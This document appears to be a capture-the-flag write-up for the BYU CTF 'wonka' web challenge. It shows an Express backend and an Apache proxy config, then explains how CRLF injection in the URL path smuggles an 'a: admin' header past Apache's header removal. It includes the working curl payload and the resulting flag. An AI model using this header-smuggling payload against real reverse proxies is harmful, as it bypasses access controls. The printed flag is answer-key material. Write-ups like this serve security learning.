Here are the two files provided:
server.js:
// imports
const express = require('express');
const fs = require('fs');
// initializations
const app = express()
const FLAG = fs.readFileSync('flag.txt', { encoding: 'utf8', flag: 'r' }).trim()
const PORT = 3000
// endpoints
app.get('/', async (req, res) => {
if (req.header('a') && req.header('a') === 'admin') {
return res.send(FLAG);
}
return res.send('Hello '+req.query.name.replace("<","").replace(">","")+'!');
});
// start server
app.listen(PORT, async () => {
console.log(`Listening on ${PORT}`)
});
httpd.conf:
LoadModule rewrite_module modules/mod_rewrite.so
LoadModule proxy_module modules/mod_proxy.so
LoadModule proxy_http_module modules/mod_proxy_http.so
<VirtualHost *:80>
ServerName localhost
DocumentRoot /usr/local/apache2/htdocs
RewriteEngine on
RewriteRule "^/name/(.*)" "http://backend:3000/?name=$1" [P]
ProxyPassReverse "/name/" "http://backend:3000/"
RequestHeader unset A
RequestHeader unset a
</VirtualHost>
We notice that the flag is returned only when the request header a
equals "admin"
. However, the Apache configuration explicitly removes the a
header before forwarding.
To bypass this, we inject a carriage return and newline (%0d%0a
) into the URL path so that Apache’s header removal doesn’t catch our custom header. By embedding \r\n
before our a: admin
header, it arrives intact at the backend.
Here is the curl
command we used to retrieve the flag:
$ curl "https://wonka.chal.cyberjousting.com/name/%0d%0aa:admin%0d%0ax:"
This returns:
byuctf{i_never_liked_w1lly_wonka}